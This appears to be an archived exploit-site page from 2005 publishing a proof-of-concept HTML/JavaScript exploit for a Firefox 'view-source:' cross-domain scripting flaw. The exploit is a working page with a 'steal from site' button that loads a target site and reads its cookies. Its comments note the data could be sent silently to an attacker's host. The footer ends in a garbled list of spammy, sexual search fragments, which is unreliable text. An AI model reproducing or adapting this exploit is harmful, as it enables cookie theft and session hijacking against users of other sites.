about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Mozilla Firefox "view-source:" Protocol Cross Domain Scripting Exploit



2005-05-21 Mozilla Firefox "view-source:" Protocol Cross Domain Scripting Exploit
Rated as : Critical 

<html>
<head>
<title>Fireviewing - Proof-of-Concept by mikx</title> 
<script language="JavaScript"
type="text/javascript">

<-- The view-source: pseudo protocol can be used to do cross-domain
scripting -->
<-- without user interaction. This can be used to steal cookies from
other -->
<-- hosts or manipulate the DOM cross-domain. -->
<-- This PoC will show the given URL in the IFRAME and will raise an
alert box -->
<-- containing the document.location and document.cookie property of
that URL -->
<-- when the page is completly loaded. An attacker could easily
automate that -->
<-- action and send the data silently to another host.

var done = true;
function stealCookie() {
if(!done) {
done = true; 
stealframe.location = "view-source:javascript:eval(\"alert('
Location: '+document.location+' \"+String.fromCharCode(92)+\
"n Cookie: '+document.cookie)\")"
}
}
function setLocation(){
done = false;
stealframe.location = document.getElementById("stealurl").value;

}
</script>
</head>
<body>
<div style="font-family:Verdana;font-size:11px;">
<div
style="font-family:Verdana;font-size:15px;font-weight:bold;">Fireviewing</div>

<div style="width:600px">
<br><br>
<input id="stealurl" type="text"
value="http://www.google.com/" style="width:450px;
font-family:Arial, Helvetica; font-size:12px;">
<input type="button" value="steal from site"
onclick="setLocation()" 
style="width:145px; font-family:Arial, Helvetica;
font-size:12px;">
<br>
<iframe name="stealframe" src="about:blank"
onload="stealCookie()" 
style="width:600px; height:200px;"></iframe>
</div>
</body>
</html>
securitydot.net - 2005-05-21

Advertising

Copyright 2007, SecurityDot
Thu, 17 Dec 2009 05:43:21 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
goa saxey njfhm.com ubuntu 6.0 sex arab s izi arab.sex.c www.yibaid +WWW.Sexto Male anima g...ndex.p jelly 200 /compo njfhm.com www.sex.i book.159.c maxcpm.inf gadis dago Vbulletin chinasexy news for c index.php? mallika se www.85112. search/exp rekha sex Www.Phonot www.520mei maxcpm.inf sexxgirl/m Mhotties.c www.tjpeix www.xiaopi www.worlds Www.mom.bo www.ynzql. feer sxe Www.saniam www.it197. www.trish EXPLOIT ss www.it197. BELLACLUB. Www.mom.bo /search/ex ia64 news for c privet com www.ehoogo www.whiteg news for c